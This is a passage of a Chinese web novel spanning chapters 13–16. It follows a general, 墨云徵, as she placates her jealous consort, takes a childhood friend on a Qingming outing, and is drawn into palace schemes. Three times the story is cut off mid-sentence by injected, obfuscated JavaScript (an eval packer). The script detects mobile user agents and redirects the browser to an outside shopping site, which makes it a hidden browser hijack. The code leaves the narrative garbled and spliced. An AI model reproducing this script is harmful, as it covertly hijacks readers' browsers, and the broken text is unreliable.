此刻见他愿意挪窝,就知道大概是已经稳住,这才松了口气,接替了他的位置,“你们公子怎么了,刚才我听小雨说他身子不适,特意来看看,脸色如此不好,还强撑着,你为何不劝着些再去叫大夫?” 她又用手背贴在青年的额头上,感觉没有发低热的迹象,反倒凉的不似常人,就一边给他捂着,一边轻轻拂开那些被冷汗浸透的碎发,“去弄点热水来,屋里怎的没烧碳?他畏寒你还不知?” 冷冷瞥了眼抿唇不吭声的小松,“我真该罚你了,就算你是你们公子的人,伺候成这样,也太……” “咳……”虚弱的轻咳打断了她的发难。 萧祁安缓缓睁开眼,声音轻飘飘的,落在身侧的女人耳中时却出奇清晰,“不许凶他。” “你醒了?”墨云徵握住他冰凉的指尖,贴在自己脸侧捂着,“感觉如何?” “这才几日……”青年阖着双狐狸眼,发白的唇瓣缓缓开合,说了四个字就又长吸进去一口气,“妻主就要赶我走了?” 尽管气若游丝,但那委屈的哭腔掷地有声,墨云徵皱着眉,“这是哪门子的话,何时要赶你走?” 她不问还好,一问就是又触到了伤心事,萧祁安痛苦了表情,扭过头不想看她。 “若不想赶我走,妻主何苦又送了其他哥哥弟弟的信给我看,还这么凶小松。” 盈盈水色借着他侧头的功夫顺势从眼尾处流下,没入耳边的鬓发,只听他又喃喃自语似的道,“只要妻主一句话的事,玉清哪会纠缠……” 这般架势是吃味开始闹了,墨云徵心知肚明,毕竟不是第一次应对,听到的瞬间,她便下意识地在腹中开始打起草稿。 但不管经历多少次,还是觉得青年就算不讲道理,也是惑人的很,更别说此刻病的厉害,更我见犹怜,胜西子三分。 原本早就去找了大夫的周雨,此刻也候在门外等着吩咐,听到这些话,给身侧人使了个眼色,一同走得远了些。 她们不想当碍事的人,可也不能在有用处时找不到人影,只得眼观鼻鼻观心。 屋里的女人又开始好声好气的哄,“真真是冤枉,原是不想瞒你什么,如今到成了错处。” 墨云徵牵着他的手放到心口,“那下次该如何应对,全凭你吩咐,让我怎么做才能顺心些?把你气成这样,我心里也跟刀绞着似的了。” 萧祁安咬着唇瓣,指尖被她体温烫的颤动一下,想从她心口移开手,却因桎梏动弹不得,不想理她,就对站在门口装聋作哑的小松道,“我先前吩咐你的,你速速去办了,正巧妻主在呢,好好点给她看。” 见他软硬不吃,墨云徵敛了眸子,扭头对着踟蹰不知如何是好的小松吩咐道,“你们先下去,记得带上门。” “这是要做什么……”青年终于舍得看她,又见小松真听了话,委屈更甚,“到底谁才是你主子。” 那嗔怒声软得像猫叫,任谁都听不出什么真的责怪,跟撒娇无甚分别。 待无关人员都离开,墨云徵这才开始上真本事。 将外袍解了放在一旁,她便整个人钻到萧祁安被窝里,将他圈外怀里抱着暖着,“他们听我的,我听你的,自然你是主子,别气了好不好?也别说酸话扎我,不然将我扎死了,谁还来给你暖身子,玉清说说是不是这个理?” “怎么没有?”贴着她温热的身体,萧祁安确实舒服了不少,脑袋依在她颈窝蹭了蹭,嘴里还是不饶人,“我的妻主都想给别人暖被窝了,独留我一人守空房,还能真冷死我不成?” 白皙的指尖在她心口画了几个圈,又没使什么力度戳了戳,“既要嫁你做正夫,我自是有容人之量……”他说才一半,顿了顿又抬头看着女人道,“可没了妻主,我也就剩个碳盆暖着了,死是不得的,生不如死,便是如此了。” 墨云徵听着他话,思绪又飘到了玄北关的夜里。 在冬日冰凉的衾被中,青年总是这般被她拥着,柔声在她耳边撒娇,“若是离了将军,安祁是半点都活不成的。” 她是怎么说的? “我既选了你,自是不会让你那般难过,往后无论何时,都会像此刻一样护着。” 熟悉到每个午夜梦回都在耳边萦绕的语句,让萧祁安原本漾着水的眸子蓦地怔住了。 “妻主方才说什么?” 胸前的衣襟被攥住,不同的称呼将她重新唤了回来,墨云徵这才发现,自己回忆的时候,竟是将那话也给说出了口。 “玉清明明听到了不是吗?”她轻吻上青年额头,“是还想我讲一遍?” 萧祁安一时不知该如何回答,若方才是气她招蜂引蝶,嘴里没一句真话,现在就是进入了个无人可怪的境地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16518771|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是想再听,但妻主不愿也就罢了吧。” 怀中人终于低了声音,不再阴阳怪气,变回了往日乖顺的模样。 墨云徵自是明白原因,却是没料到那话竟有如此用处。 曾是拿来真心哄人用的,可那被哄的人儿,大抵是没怎么放在心上,不然也不会将她说抛下就抛下了。 一声不吭地走,又神不知鬼不觉地回来。 像只养不熟的野猫,但狡黠勾人的劲儿,又跟记录精怪册子中的狐狸似的。 总归没有个人的心肝,只有折腾人的坏心眼,非得让她圈在身侧看着,才别让他把自己弄出个好歹。 “愿是愿的,你想听,讲多少遍都好,只是我不想你生气了才用这话哄你,今天究竟是为了什么事,好好同我说说可好?” 她勾起唇角,耐心道,“过两日我就要上朝执勤了,就没什么功夫在府里,今天不解了这结,怕是等我再回过神来,家都散了。” 萧祁安皱了皱鼻子,攀着她的脖颈,将头埋到她锁骨窝里,闷闷道,“妻主还说上朝执勤呢,后日的清明,你不还是休着假的?” 这人分明知道缘由,撩人心魄的话一套一套,分明就是情场老手,却还总是装傻充愣,装出个蠢笨天真样,非叫他点明了才好。 青年撒气般的咬她颈侧血管旁的肉,感受着血液在唇侧隔着层皮一下下地鼓动,哼哼着继续,“我说怎么不提带我出去的事,是早就有约了。” 还真是气这个。 不过事关安平侯,若是在看到竹简前,她定是会想法子回绝了谢南书,毕竟自己对他是真无男女之情,也没有想耽误好人家男子的意思。 可偏偏叫她发现了那么个事情,就算不想牵扯对方,之后也避免不了,干脆就早些试探,省得后面再要改变态度,更加惹人怀疑。 墨云徵轻轻顺着他后脑的发丝,“那是我遇到你之前的事了,只是踏个青,又不会做什么。” 没等青年继续开口刺人,她又找补,“我只陪他这一次,往后岁岁年年,我们的日子不还长着?” “那他送的东西又怎么说,信里可都说的明白,什么补上许多年前的嫁妆。”萧祁安歪头瞪她,“妻主莫不是以为我不识字,想就这么糊弄过去?而且方才我让小松抬到你面前好生点点看,又为何把人差出去?” 他眸中烧着火,一字一句道,“就、是、心、虚、了!” 这下墨云徵是真的要大喊冤枉,“若是真心虚,我何必抬过来给你看,怎么说了半天又绕回去了,玉清究竟怎样才能饶我?” 女人伸手将他的狐狸眼盖住,不去看他置气的模样,“我的心肝,求求你了。” 那略低的声音平日讲话只觉得慵懒轻佻,但若她愿意拉长了轻声撒娇哄人,就又是另一番味道。 青年呼吸一滞,被遮住视线看不到她的表情,心里更是泛起些许痒意,便也不冷声冷气,“那我求你别去……” 14. 第十四章 见他学着自己,墨云徵忍俊不禁,“是我求卿卿,怎么卿卿反倒来堵我的话,那这几日让我好好在府里陪你可好?” 即便被遮住视线,萧祁安还是能从她语气里听出笑意,撇撇嘴,“说到底你就是想去,真打定了这主意,我废再多口舌不都是无用。” 他将墨云徵的手拂开,侧过头去,“罢了罢了,妻主自是有你的打算,我这身子没法陪着,清明节若是还给你圈在府中岂不是要闷坏了。”说完又偷瞄女人一眼,“只要你惦念着我就好,带些什么有趣的小玩意,叫我开开眼界。” “那是自然,我为卿卿多留意些。” “你多留意些将军府的消息。” 谢南书坐在窗边,看着外面开得仍盛的碧桃花,揉皱了桌案上的宣纸。 “母亲何时消气呀,木棉。”他看着指尖上的墨迹,扯了帕子擦手后递到身前小侍眼底,“我都抄了这么多男戒,手都要废了,你瞧,好痛的。” 白皙柔嫩的手在面前,一看就是养的极好,十指不沾阳春水,连点红痕都见不到。 木棉不为所动吗,“少爷真的抄了男戒?奴看怎么都是些酸腐情诗。“他将谢南书方才弄乱的桌案收拾整齐,“看,又来一张。” 将宣纸碎屑敛好,这才无奈地看他,“您这样,侯主知道后又要发火了。” “我还想发火呢,玉汝这才回来几天,就有不长眼的勾引她了。”谢南书气鼓鼓地站起身,在房里转着圈走,绫罗锦缎翻飞,“明明我先来的,小时候她就说要娶我的,怎得长大了变成这样。” “对呀,负心女,少爷别被她骗了。”木棉见缝插针,“您看上谁侯主都不会多加阻止的,何苦在这一颗树上吊死?” 听见这话,谢南书又不乐意了,扭头瞪他“不许你这么说她。”他失落地坐回榻边,“你不懂的,她对我有多重要。” “奴的确不知。”木棉垂下眉眼,只是话说得半点不客气,“奴只知道您偷偷派人又是书信,又是礼物的,侯主已经很生气了。” 谢南书吓了一跳,“母亲怎么知道得,我明明让他们偷偷去送的。” “若您再想做什么事,可真就不止家法那么简单了。”忽略青年怀疑的眼神,他淡淡补充。 “木棉!你怎么胳膊肘往外拐,玉汝她哪里又招惹你了,让你这么不待见她,还对我阳奉阴违。”他气得要砸东西,但触及到桌上的墨宝又停了下来。 母亲才警告他老实,若再扔坏了什么不仅要骂他,还要延长禁足时间,不给他替换新的。 他还要给墨云徵写信呢,弄坏了他可真要变成哑巴了。 哑巴可没法把她的心从其他人那里抢回来。 “奴不敢。”木棉后退一步,从架子上取了新的宣纸铺到桌上,“奴只知道她花心滥情,只会耽误您,这么多年她哪怕寄一封信给您呢?白白耗了您最好的那些年岁。” “她或许有自己的苦衷呢。”谢南书皱起眉,不赞同道,“墨家只剩她了,发配边疆那么苦,光是活下来就很难了,我不在意这些的,重点是她不仅平安,还风风光光回来了。” “那他们墨家是怎么就剩她一个的?”木棉开始研磨,“当年的事闹得沸沸扬扬,证据确凿,虽然现在陛下下旨禁止传播讨论,可谁人不知她……” “木棉!”谢南书打断他,“你怎么也那么肤浅?听到模棱两可的风言风语就相信。” “少爷才是天真。”他叹了口气,“就像您现在发现她与曾经的性子早就大相径庭,又怎知当年的事不是真的?” “那时你我年岁相仿,你又懂什么?”青年反驳道,“我知她性情,因着我们是青梅竹马,你既不了解她,为何要对她抱着这么大的偏见?” 木棉见他越说越气,也不再同他辩驳,待研好磨便退到他身侧,只柔声道,“少爷快抄上几遍男戒吧,侯主吩咐了,今夜要来查的。” 谢南书尚未平复心情,哼了一声装作没听到。 “少爷最近又打算翻出去玩,若今日侯主来后发现您一字未动,便是要加更多人手看着您了。”木棉苦口婆心,“奴也不想少爷总被关在府中,这次就任少爷去了,不告诉侯主,但您总得抄上几个字,也好交差不是。” 他这话显然有用,不过青年还不能拉下脸来,桃花眼中眸光流转,扬着下巴骄矜道,“那我这次要从侧门出去,上回爬梯子把我提前打扮好些时间的造型都弄乱了,可不能再这样了。” “都听少爷的。” “你还要帮我瞒着点母亲。”谢南书转身来看他,面上满是计划着做坏事的兴奋,“这次定要悄悄的,不能让母亲发现。” 木棉心道他没有一次不被发现的,这回侯主也打算睁一只眼闭一只眼,不然自己哪敢答应呢? 但还是好声好气的应下,又不禁多嘱咐几句,“您自己出去千万要小心,近期都城内歹人猖獗,已经没了好几家少爷小姐了。” 说到这里,他又忧心忡忡,“要不少爷还是下次再约吧,奴总感觉这清明要闹出什么大事来。” 谢南书哪管这些,早就沉浸在同墨云徵踏青游玩的畅想中,乐呵呵地开始抄起了书。 看的木棉又是唉气又是摇头,退下去做别的事了。 皇宫,延福宫。 主殿内灯火通明,琉璃灯座托着烛火,随着微风摇曳,折射出绚丽的光。 最上方的主位坐着个衣着华丽的男人,额上贴着玛瑙坠子,披着红色大袖衫,金线绣出的缠枝花纹落在领子上向下延伸,将他那姣好的风韵衬得更加华贵。 即便是平日里穿的常服,进了这宫里,都变得不再寻常起来。 “儿臣来请父君安,您近日可好?”柳沐羽在那贵气逼人的男子身侧站定,俯身行礼。 “尚可。”对方扯着衣袖,慢条斯理的抚平上面褶皱,这才托着柳沐羽的胳膊让他起身,“听说你前些日子设宴见了墨家那孩子?” 他美目微眯,睨着眼前不成器的儿子,“你母皇有意撮合你们,怎的最后轻易放跑了她?” 语毕,他又抬起手轻轻挥了挥,一旁伺候的宫人见此都恭敬地沉默退了下去。 待殿里只剩他们二人,男人这才扶着柳沐羽的手起身,带着他向里面寝宫走去,“真是丢了我们董家的脸。” 他扯了扯嘴角,“说出去,谁信你是我董昀彻的儿子,竟是连我半分的手段都未习得。” “父君教训的是。”柳沐羽垂着头,眉眼恭顺。 董昀彻见他这般,也没了想训的心。 自己就算机关算尽,到了如今这个地位,也只生下他这么一个皇子,想来也是辱没了他们董家的名号。 原是代代出凤后的世家,可自己偏偏被个死人压了一头,如今也再无坐到那位置的能力。 他的手不知觉放到小腹,又扭头看向早就长成大人的孩子,心中五味杂陈。 怎么就是个男孩。 “话说,你用没用我给你那香?”董昀彻告诉自己不再想些不切实际的,又提起了别的话茬。 “用了的。”柳沐羽小心应着,有些难堪的抿了抿唇,“是儿臣无能。” “既是用了,还未将人留住,你的确无能。” 男人轻嗤一声,“那墨云徵亦是个没用的,有眼无珠。” 两人很快到了寝宫,董昀彻将霞帔脱掉,放在柳沐羽手中,慢悠悠继续道,“不知是看不上你的身份,还是单纯看不上你这故作正经的小古板,没有点勾人的手段,只成天端着架子。” 柳沐羽心下一惊,攥紧了手中的霞帔,被自己父君轻飘飘一瞥,又赶紧松了手,抹好挂在了旁边的衣架上后,赶忙跪在他膝侧。 “儿臣知错。” 董昀彻坐在软榻上,闻言用两指捏住他的下巴抬起,面上再无半点笑意,“本宫原是觉得你为长子,总该有些用处,如今竟是连个没爹的野丫头都要去讨好了吗?” 那双与柳沐羽相似的眸中满是森然的愤怒,“你可知道陛下是怎么同本宫说的!这点小事都做不好,当年本宫就该去讨了那五皇女来,将你给送出去,省得你成天惦念着她这个妹妹。” 知道什么都逃不过父君的眼睛,可他又有什么法子。 柳沐羽察觉到眼眶里的湿意,拼了命的想忍住,但偏偏那酸胀感愈发汹涌。 被捏着下巴,让他没法低头掩饰,只能任由泪水滚落。 他自儿时起明白自己不是女儿身,不能给父君带来助力,只得去演关爱妹妹的戏码来讨母皇欢心,让他不至于被忽视,被看不起,总归有点用处。 平日里再端庄得体,做一个合格的皇子,遇到谁都能面不改色地扮演相应的角色,可在董昀彻面前总是要被这般斥责,就顾不得什么,只有伤心了。 “你哭什么?”男人气得呼出口气,“在这深宫里不得见天日,整天盼着那唯一的太阳来见本宫,本宫何时哭过。” “不知道有多少人等着揪着我们的错处,盼着将我们一把扯下来呢。” 董昀彻松了力道,转而用掌心给他拂去泪痕,“陛下有心疏远你父家,被荣辱牵着的是你我二人,本宫何尝不想你找个体己的心怡之人嫁了,可连本宫连自己的命都没法左右……” “更何况你呢。”他眼尾亦是落下一滴泪,顺着那张保养得当的脸颊滑落,像颗晶莹的珠子,“若是没有傍身立足的东西,日子不知道要有多难过呢。” “都是儿臣不争气,父君莫要因我伤了心。”柳沐羽拿帕子给他擦去,眉间尽是心疼。 “本宫知道你大了,有自己的主意,但你千万要记住,你是谁家的孩子,背后站着谁。”董昀彻握住他的手,托着他起身坐在自己身侧,温柔地为他捋好鬓发。 “好孩子,父君信你之后知道该如何做。”他慈爱地摸了摸柳沐羽的头顶,“回去前先洗漱下,直接叫茄儿他们服侍了你,将脸擦干净再走。” “是。”柳沐羽点点头,起身拜了他才离去。 看着他的背影,董昀彻收敛了表情,从榻上备着的小桌中翻出封信,重新读过后就扔到了角落里的碳盆中,抽了信纸伏案写了起来。 “织春。”半晌,他开口唤道。 很快便有一个侍从从门外进来,“奴在,皇贵君有什么吩咐。” 男人将封好的信递了过去,“你悄悄的将这个送回府中,交给姐姐,谨慎些,别被人发现了。” “是。”织春福身接过放在袖中,来到榻边为他轻揉肩膀,“陛下今日还是歇在觅香阁,您早些歇息,最近倒春寒,您头风发作得勤了些,可要用那药香熏熏?” “一会去点上吧。” 董昀彻按了按额角,小声嘀咕,“怎么又是觅香阁的小妖精,他年纪也不小了,还勾的陛下日日往他那边跑。”他闭着眼轻纳了口气,“原是个冷宫的地界,现在倒沾了紫气,只可惜也是个不能生的,不然我早就……” 织春在一旁听着话并不作答,认真替他按摩着,只在他提到后面的事时,才轻声道,“皇贵君慈悲心肠,当年将五皇女给淑君收养,这才让他如今能跟您分庭抗礼,一个教坊司出身的小选侍,不足以让您这般劳心费神的。” “说起五皇女,陛下现在还没将羲和来的小子许给她?” “您也不是不知,五皇女打小就被陛下养在身侧,虽是过继给了淑君,可一年都不露几次面的,想来陛下是看不上这桩亲事,打算另找吧。” 男人听到后蹙起了眉,“一个亲爹都不明的野孩子,陛下护得跟眼珠子似的,反倒给老大老二扔得远远的,可既不给她什么实权,又不说许什么有家世的正夫,当真奇怪。” “老大先不说,老二可半点错误没有,陛下是为何不喜了?” 他喃喃自语,后侧头去看织春,低了声音,“你上次回府,姐姐没说什么?我总是探不到陛下的口风,弄得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青年唇角微动,“没胃口。” “姑娘说您得吃些东西垫垫才好吃药,要不还是多少吃点呢?”小松劝道。 “小松,我那日就想说了,到底谁是你主子?”萧祁安面无表情地看着前面,话里也听不出情绪,“这些天总是姑娘长姑娘短的,你几时跟她这么好了,还是想用她的话来压我?” “公子息怒,属下只是觉得有道理,怎么敢背叛您,还用她的话压您呢。”小松闻言赶紧单膝跪在他身侧,“属下永远是您的人,万不会生出一点背叛之心啊。” 萧祁安看他惶恐,叹了口气,抬手让他起来,“今天虽是晴天,但我骨头缝里感觉跟下雨似得疼,心情不好,话说得重了,没有怀疑你的意思。” 小松自是知道他的脾气,若真的有怀疑,也断不会这么说出来,“属下知道的,那现在我推公子回房吧,给您烧些炭火,再将吃食端过来。” “算了,就听你的吧,不然要念叨死我。” 见他还惦记着,青年不禁失笑,觉得他同刚走那人一样啰嗦,原来他可不是这种敢在自己拒绝后还劝个不停的性子。 进了这将军府,倒是越发学得跟她般厚脸皮了。 “呸呸呸,公子说这话做什么。”小松起身去后面推轮椅,“您要长命百岁的,让小松伺候您一辈子。” 他这吉祥话说着,似是回到了从前自己还当太子的那段时日。 萧祁安怔愣了片刻。 也是了,小松性子本就俏皮些,跟着自己经历了这么多,颠沛流离的,才沉稳了下来。 如今也是跟着墨云徵那不正经的,勾了回来原来的样子。 这些表情小松是看不到的,只在他身后絮絮叨叨地讲,大抵是觉得他因着墨云徵离开而寂寞。 毕竟前些日子到现在,她总是在自己旁边寸步不离的,天天哄着他吃饭喝药,倒是真和在玄北关的时候别无二致。 少了行军打仗做阻碍,她显得倒是比他装出来的还黏人腻歪。 但其实,如今他心里倒没多少委屈难过。 又不是真对她情根深种,哪能离了这人就活不成了呢? 反正良言难劝该死的鬼,他该做的事也做了,还差点真给自己气出个好歹,再多的,他也不会过多插手。 只看她自己的运气造化了。 清风拂过,吹起廊前玉兰的花瓣。 落红轻飘飘地飞着,打了几个旋,最后停在了墙外慢行的马车棚上。 “停吧。” 墨云徵掀起车帘,看着眼前的气派府邸,高大的围墙中开了洞,嵌了个格格不入的小门。 谢南书后来又寄了几封信给她,说是还没被解了禁足,只能从侧门偷偷跟自己出来。 整得跟偷晴幽会似的。 不过好歹是没再翻墙了,想到上次从天而降的青年,墨云徵还是弯了眼睛。 “玉汝——” 一声极小的轻呼从前方传来,女人抬眼便看到谢南书提着衣服向她跑过来,满身金银玉坠叮叮当当的,像极了挂着装饰的小树。 知道他是想小声些,怕被发现,但穿的这么招摇,便是想不惹人瞩目都难。 少些饰品是装饰,多些就是累赘了。 不过好在他模样生的好看,能将这些俗物的艳丽都压下去,让人只注意到他的容貌。 人衬物,而非物衬人。 墨云徵掀开车帘,伸出手拉他上来,但青年差点被衣服绊倒。 好在她眼疾手快,搂住这人的腰,连拉带拽的给他弄了进来。 “小雨,快走吧。”见谢南书才站好,她又对驾车的周雨道。 真怕被别人看到他们这副滑稽样子。 “玉汝,玉汝。”青年扯着她的袖子,眼巴巴地看她“我今天穿得怎么样,好不好看?” 墨云徵有时候不想做违心的事,可看到他这副兴奋模样,又不舍得直接泼冷水,只好措了下辞,“怀瑾怎么都是好看的,只是……” “只是什么?”他眨眨眼应着。 “只是你难道忘了今天是什么日子?”女人柔声提醒。 “今天?我知道啊,今天是和玉汝出去游玩的日子。” 15. 第十五章 原本说的清明踏青也只是个借口,不管是什么日子他都不在意,只要是跟她一起就行,更别说两人已经太久没单独出游,实在让他开心得有些忘乎所以。 没等墨云徵开口,马车外突然传来声音,“少爷——您落了东西。” 谢南书疑惑,“我好像听到木棉的声音了。” “那应该不是错觉,小雨,停一下。” 周雨停了马车,木棉便追了上来,“少爷,您的香囊忘带了,里面有些驱虫的草药,踏青用的到。” 车帘掀开,他将一个用金线绣着谢字的香囊呈上。 青年摸了摸自己的身上,惊讶道,“真是这样!还好你给我送来了。”他接过自己系在腰间,抬头对木棉笑笑,“这香囊平日我都贴身系着,大概是今日换了各种衣服才忘记的,辛苦你惦记。” 木棉看了眼坐在一旁的墨云徵,淡淡跟她行了礼,这才回他,“不辛苦的,少爷出去定要注意些,莫要磕了碰了才是,若是让侯主发现就不好了。” 他抿了抿嘴角,欲言又止,最后还是没说什么,“那奴就不打扰了,路上小心。” “嗯嗯,你回去记得别被发现,说好的帮我瞒着啊。”谢南书冲他挥挥手,“我们走啦。” 墨云徵看他退后一步让出路,这才又跟周雨道,“走吧小雨,不用急。” 马车重新前进,木棉站在路旁目送着,想到侯主昨夜说的话,心里满是复杂。 只盼望着自家少爷真的可以如他们所愿。 马车内,谢南书欣喜地坐在了墨云徵身侧,“玉汝方才想说什么来着?” 女人垂眸看他方才系的香囊,“怀瑾的香囊很好看,做工也精细,是谁做的?” 听到她的称赞,青年不好意思地笑笑,又怕她误会,慌乱解释道,“这是前些年母亲找人做了给我带的,说是可以用来证明身份,府里其他人都有,就是没我这个好看而已。” 他握住墨云徵放在腿上的手,“木棉也有的,不是外面什么野女人送的。” “我信的。”听他这么着急,墨云徵安抚的拍了拍他的手背,弯了眼睛“只是略微好奇而已,一看就是用了心的。 “你要是喜欢,我也可以给你绣一个。”谢南书红了脸颊,小声道,“虽然我还没弄过,不过都可以学,感觉不是很难的样子。” 话音刚落,马车蓦地晃了下。 “哎呦!” 周雨的声音透过帘子传来,“方才绊了块石头,姑娘和公子没事吧。” “怀瑾?”墨云徵侧头看身侧人的情况,方才听到一道响声,大概是磕到了。 谢南书捂着方才被撞红的额角,“没事的,没事的。” “那就好,我们马上到城门了,出去大路上可能会更颠簸,二位小心些。” “好,慢些吧,路上还能看看景色。” 墨云徵扶着青年的肩膀,帮他把头上松动的饰品摘下了些,“带着这些再磕碰什么的会很危险。”她将零零碎碎的小东西取下,放在谢南书手中,“怀瑾不用这些装饰就已经很好看了。” 青年乖巧的坐着,感受着落到面上的浅淡呼吸,大气也不敢出,两个手并好放在胸前举着,任由对方在自己头上温柔地动作。 不一会就捧了一堆首饰在掌心。 看他僵硬的模样,墨云徵有些好笑,唇角勾起愉悦的弧度,“怀瑾这么紧张做什么?”她又伸手给他捋好凌乱的发丝,“小时候又不是没做过这种事。” 她只肖一说,谢南书便能想起到底是何时发生的事,连细节都记得一清二楚,毕竟两人小时候,墨云徵可是被他拉着做了不少这种玩乐消遣。 比如曾经一起扮家家酒时,他就任性地要她替自己梳妆打扮,装作妻夫。 不过现在谢南书只羞得不敢看她,声音细若蚊蚋,“那都是小时候的玩闹。” 虽然在这些年见不到她的时光里,自己总是将这些记忆如数家珍地拿出来品味,但若是让她知道也太臊人了。 木棉还说她变了,明明还是跟之前一样坏,喜欢逗人。 他就是不知道玉汝真正的模样,才会听了那些谣言觉得她现在花心滥情。 其实只是被其他小妖精勾引了而已。 自己一定会让她知道究竟谁才是最懂她,最与她相配的。 就如他们多年未见,却一如往昔的默契。 现在谢南书唯一觉得遗憾的,便是他们重逢的太仓促,没有按照自己所幻想的美好模样进行,无论什么时候都觉得狼狈至极。 重新见心上人的第一面居然是在他脚滑的情况下。 想起那日在墙头摔落到她怀中的情景,虽然不尽人意,可他们还是马上认出了对方。 不过谢南书还是恍惚了下。 因为自己竟有一刹那好像在玉汝面上看到了澜姐姐的影子,脸上没有丝毫表情的模样,像极了他们犯错了被教育时散发的威压。 听说澜姐姐当年在边疆也是个冰块脸,治下有方,战功赫赫,邻国戍边将领没有不怕她的。 他还问过玉汝会不会成为一样的大将军。 澜姐姐听到后笑他们,说只要她还能握住剑,就不会有这天。 曾经不懂的话,如今再想起,竟是一语成谶。 玉汝真的成了大将军,只是澜姐姐不在了。 谢南书怔怔的抬眼,看向墨云徵,“玉汝,我知道你方才想说了什么了。” 女人疑惑的挑眉,“嗯?” “今天是清明,不仅要踏青的。”他有些内疚,人也变得蔫蔫的,“还要祭扫……对不对?” 墨云徵理解了他的意思,柔声哄道,“原是这样的,但怀瑾不是在兴头上,我也没提这事。” “对不起。”青年垂下头,听到这话更加自责。 他怎么了能忘了这个同等重要的事,只顾着自己开心,没考虑她的感受。 “没事的,姐姐她……”墨云徵顿了顿,“本来就不能光明正大地去祭拜。” 他知道被隐去的话是什么。 澜姐姐是罪人,既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么不能我先陪你去祭拜澜姐姐,去了寺庙,我们再回来玩呢?”青年失落得眼尾都耸了下来,“我不玩也是可以的,陪你做正事才是最要紧的呀。” 墨云徵的手掌慢慢覆上他的手背,软了语气,“但是在我这里,是让你开心玩好最重要呀,那日你就约了我,期待又开心的模样,我哪里舍得辜负怀瑾。” 听她这么一说,谢南书只觉得心里暖洋洋的,“那便听你的吧,我也不会拉着你太久的。”他表情有些小得意,“我最体贴不过了,做你的正夫也是担得起的,肯定比那些来路不明的男人好一万倍了。” 女人只是听着,目光落在他面上笑,并不回答后半段话,“怀瑾这么贴心,我现在是定配不上的。” 她眸色微暗,扯了扯唇角,有些苦涩的意味,“你母亲也定是不会同意我们的事,我也知道,不说现在,在小时候她就有些瞧不上我的。” 16. 第十六章 “不是的。”谢南书摇摇头,有些着急地解释,“母亲曾经不是这样的。” 墨云徵自然知道,在自己家尚未出事前,安平侯对小时候的她,态度只能算是不那么在意,不反对他们接触,称不上是厌恶,或是避之不及。 不过她自然要说的严重些,要不然怎么能套出些话,“怀瑾你不用安慰我,我有自知之明的,如今不管我再怎么努力,跟你终归还是有云泥之别,不然你母亲也不会那般抗拒我。” 青年最听不得她自怨自艾,忙地抱住她的手臂,“玉汝你绝对误会了!” “我也不想这样去想。”墨云徵垂了眉眼,“但事实就是如此,安平侯对我的态度如此奇怪,讳莫如深,哪有什么回转的余地呢。” “若真说母亲变得奇怪,那也是在你走了不到一年后的事,她若真是因为瞧不上你,为何不在当时就跟你撇清关系……”谢南书咬着唇瓣,特别委屈,“况且,当年你下了狱,母亲也准许我去瞧你的,还给了我许多东西,让我拿过去。” 墨云徵听到他这话愣了下,“何时的事,我怎么不记得了。” 尽管时隔多年,可在狱中的每一天,她从未忘记。 冰冷潮湿的草垛,昏暗的牢房,还有半夜会在她耳畔跑过的老鼠,晚了一时半刻就跟她争抢那些馊掉的饭菜。 仿佛就要让她那样自生自灭,没有一个活人过来瞧上她一眼。 寒风从狭小的四方窗户吹进,呼呼地裹挟着刺透薄薄囚服的冷意,直达骨髓。 虽是发着高烧,可她的脑袋从未如此清明过。 耳边是青年的声音,将她重新拽了回来,“我去了的,只是狱卒不许我进去看你,我只得嘱咐他们把东西带给你,都是些吃食和保暖的衣服,能让你在里面过得好些。” 那便没有什么奇怪的了,墨云徵想,她一个注定要死的罪人,哪配享受的起这些。 她无奈的摸了摸谢南书的头,“谢谢怀瑾的心意。” 谢南书被她亲昵的动作弄的有些害羞,见她忆起,便也没再纠结对方为何会提出那种问题。 “只是你才说的,在我走之后一年的事,又是何原因?”她没有忽略刚刚话里的其他内容,便又问道,“怀瑾可知道?” 听到这个问题,谢南书却为难了表情,“我不太清楚原因,只是母亲那日的模样实在恐怖,才让我记到现在,从那之后,母亲便再也听不得我提起你。” 他唇角落下,“但母亲绝对不是瞧不上你,兴许是误会了什么?只要我找到原因,解开这个就好了。” 墨云徵蹙起眉毛,看着对方柔声道,“那怀瑾可记得具体的日子,若是记不清了,那一个范围也是好的,说不准我能知道呢?” “毕竟是安平侯同我的龃龉,她不愿告诉你的,我不一定不晓得。” 她说的有道理,解铃还须系铃人,谢南书赶紧认真地回忆,“具体的时间我不记得了,但是距离除夕前面不远,那天还下了雪。” 在自己离开的一年后,离除夕不远的冬日。 能有什么事呢,墨云徵蓦地笑了,却不是因为开心,而是讽刺。 是她差点死了的那次啊。 那时尚是小兵的她,才被流放到边疆,就被军中所有人排挤辱骂,做着最脏最累的活计,打仗时也被安排在最前面,充当肉盾。 只是她才到不久,那场战役的主帅便因指挥有误,让整个边城失守,被残忍的屠了城,而她也被斩了首。 唯有自己发觉了不对,假死躲过一劫,在焚烧尸首的坑中爬了出来。 这是墨云徵永远不会宣之于口的秘密。 满脑子只有活下去才能复仇的念头,让她早就没了多余的善心,去拯救那些原本被她姐姐守护的蛀虫。 最好一把火将他们全部烧成灰,才能聊以慰藉她满腔的愤怒。 年纪尚小,就如同初生的牛犊,那时只觉得自己只剩一条贱命,保住了可以为姐姐洗去骂名,保不住,也不过是死了去陪她墨府一家。 谁能想到真的如了她的愿。 